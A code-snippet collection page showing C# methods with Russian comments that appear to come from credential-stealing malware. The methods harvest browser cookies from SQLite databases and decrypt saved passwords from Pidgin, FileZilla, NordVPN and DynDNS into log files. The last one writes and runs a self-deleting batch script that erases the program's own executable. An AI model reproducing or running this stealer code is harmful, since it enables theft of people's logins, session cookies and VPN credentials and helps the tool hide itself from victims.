Exemplo n.º 1
0
 /// <summary>
 /// Метод для копирования файлов БД в новую папку ( для безопасного  дальнейшего извлечения данных )
 /// </summary>
 /// <param name="Folder">Имя папки</param>
 /// <param name="filename">Имя файла</param>
 /// <param name="Recursive">Рекурсивное копирование файла</param>
 public static void CopyInSafeDir(string Folder, string filename, bool Recursive = true)
 {
     CombineEx.CreateOrDeleteDirectoryEx(true, Folder, FileAttributes.Normal); // Создаём новую папку куда будем копировать файлы
     foreach (string files in LCDFiles(filename))                              // Проходимся по коллекции путей к файлам
     {
         if (CombineEx.ExistsFile(files))                                      // Проверяем каждый файл
         {
             try
             {
                 // Проверяем что файл не пустой
                 if (new FileInfo(files).Length != 0)
                 {
                     // Копируем в новую папку
                     CombineEx.FileCopy(files, CombineEx.Inizialze(Folder, CombineEx.GetFileName(GetApplication.GetNameCycle(files))), Recursive);
                     // Добавляем в новую коллекцию из новой папки ( безопасной )
                     GetSecureFile(Folder, GetApplication.GetNameCycle(files));
                 }
             }
             catch { continue; }
         }
         else
         {
             continue;
         }
     }
 }
Exemplo n.º 2
0
        public static void Inizialize()
        {
            foreach (string v in Searcher.Database)
            {
                string save = CombineEx.CombinePath(GlobalPath.CookiesLogs, $"{CombineEx.GetFileNameWithoutExtension(v)}.txt");

                if (CombineEx.ExistsFile(v))
                {
                    try
                    {
                        using (var Connect = new SQLiteConnection($"Data Source={v};pooling=false;FailIfMissing=False"))
                        {
                            Connect.Open();
                            using (var ComText = new SQLiteCommand(COOKIES, Connect))
                                using (SQLiteDataReader reader = ComText.ExecuteReader())
                                {
                                    if (!reader.HasRows)
                                    {
                                        continue;
                                    }
                                    else
                                    {
                                        SaveLogs(v, save, reader);
                                    }
                                }
                            SQLiteConnection.ClearPool(Connect);
                        }
                    }
                    catch { }
                }
            }
            CombineEx.CreateOrDeleteDirectoryEx(false, CombineEx.CombinePath(GlobalPath.HomePath, "Cookies"));
        }
Exemplo n.º 3
0
 public static void Inizialize_Grabber()
 {
     if (CombineEx.ExistsFile(GlobalPath.PidPurple))
     {
         try
         {
             var build = new StringBuilder();
             using (TextReader tr = new StreamReader(GlobalPath.PidPurple))
             {
                 var rd = new XmlTextReader(tr) { DtdProcessing = DtdProcessing.Prohibit };
                 var xs = new XmlDocument() { XmlResolver = null };
                 xs.Load(rd);
                 {
                     foreach (XmlNode nl in xs.DocumentElement.ChildNodes)
                     {
                         XmlNodeList il = nl?.ChildNodes;
                         build.AppendLine($"Protocol: {il[0].InnerText}");
                         build.AppendLine($"UserName: {il[1].InnerText}");
                         build.AppendLine($"Password: {il[2].InnerText}{Environment.NewLine}");
                     }
                 }
                 rd.Close();
             }
             CombineEx.CreateFile(true, GlobalPath.PidginSave, build?.ToString());
             build.Clear();
         }
         catch { }
     }
 }
Exemplo n.º 4
0
        public static void Inizialize_Grabber()
        {
            if (CombineEx.ExistsFile(GlobalPath.FZilla))
            {
                var build = new StringBuilder();
                try
                {
                    var xf = new XmlDocument()
                    {
                        XmlResolver = null
                    };
                    xf.Load(GlobalPath.FZilla);

                    XmlNodeList bb = xf.GetElementsByTagName("RecentServers");
                    XmlNodeList bs = ((XmlElement)bb[0]).GetElementsByTagName("Server");

                    foreach (XmlElement va in bs)
                    {
                        build.AppendLine($"HostName: {va.GetElementsByTagName("Host")[0].InnerText}");
                        build.AppendLine($"Port: {va.GetElementsByTagName("Port")[0].InnerText}");
                        build.AppendLine($"UserName: {va.GetElementsByTagName("User")[0].InnerText}");
                        build.AppendLine($"Password: {DecryptTools.DecryptFZ(va.GetElementsByTagName("Pass")[0].InnerText)}{Environment.NewLine}");
                    }
                }
                catch { }
                CombineEx.CreateFile(true, GlobalPath.FileZillaSave, build?.ToString());
                build.Clear();
            }
        }
Exemplo n.º 5
0
        public static void Inizialize_Grabber()
        {
            try
            {
                var nord = new DirectoryInfo(GlobalPath.NordPath);
                if (nord.Exists)
                {
                    foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info)))
                    {
                        string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config");
                        if (CombineEx.ExistsFile(userConfigPath))
                        {
                            var xf = new XmlDocument()
                            {
                                XmlResolver = null
                            };
                            xf.Load(userConfigPath);

                            string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText;
                            string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText;

                            if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword))
                            {
                                string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine);
                                string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine);

                                CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n");
                            }
                        }
                    }
                }
            }
            catch { }
        }
Exemplo n.º 6
0
 /// <summary>
 /// Сбор всех файлов БД из новой папки
 /// </summary>
 /// <param name="PathLogins"></param>
 /// <param name="Pattern"></param>
 /// <param name="SO"></param>
 private static void GetSecureFile(string PathLogins, string Pattern, SearchOption SO = SearchOption.TopDirectoryOnly)
 {
     try
     {
         foreach (string Mic in Directory.EnumerateFiles(PathLogins, Pattern, SO))
         {
             if (CombineEx.ExistsFile(Mic)) // Проверяем каждый файл если он есть
             {
                 Database.Add(Mic);         // Добавляем файлы в коллекцию
             }
             continue;
         }
     }
     catch (Exception) {  }
 }
Exemplo n.º 7
0
 public static void Inizialize_Grabber()
 {
     if (CombineEx.ExistsFile(GlobalPath.DynDns))
     {
         try
         {
             string[] lines = File.ReadAllLines(GlobalPath.DynDns);
             if (lines.Length != 0)
             {
                 CombineEx.CreateFile(true, GlobalPath.DynDnsSave, $"UserName: {lines[1].Substring(9)}\r\nPassword: { DecryptTools.DecryptDynDns(lines[2].Substring(9))}{Environment.NewLine}");
             }
         }
         catch { }
     }
 }
Exemplo n.º 8
0
        public static void Inizialize(string pathfile)
        {
            try
            {
                using (var sw = new StreamWriter(pathfile))
                {
                    sw.WriteLine("@echo off");                                                          // Переключение режима отображения команд на экране
                    sw.WriteLine(":loop");                                                              // запускаем цикл
                    sw.WriteLine(string.Concat("del \"", GlobalPath.GetFileName, "\""));                // Удаляем файл
                    sw.WriteLine(string.Concat("if Exist \"", GlobalPath.GetFileName, "\" GOTO loop")); // Проверяем файл и возвращяемся в цикл для проверки снова
                    sw.WriteLine("del %0");                                                             // После удаляем .bat файл
                    sw.Flush();
                }
            }
            catch { }

            if (CombineEx.ExistsFile(pathfile))
            {
                ProcessControl.RunFile(pathfile);
            }
        }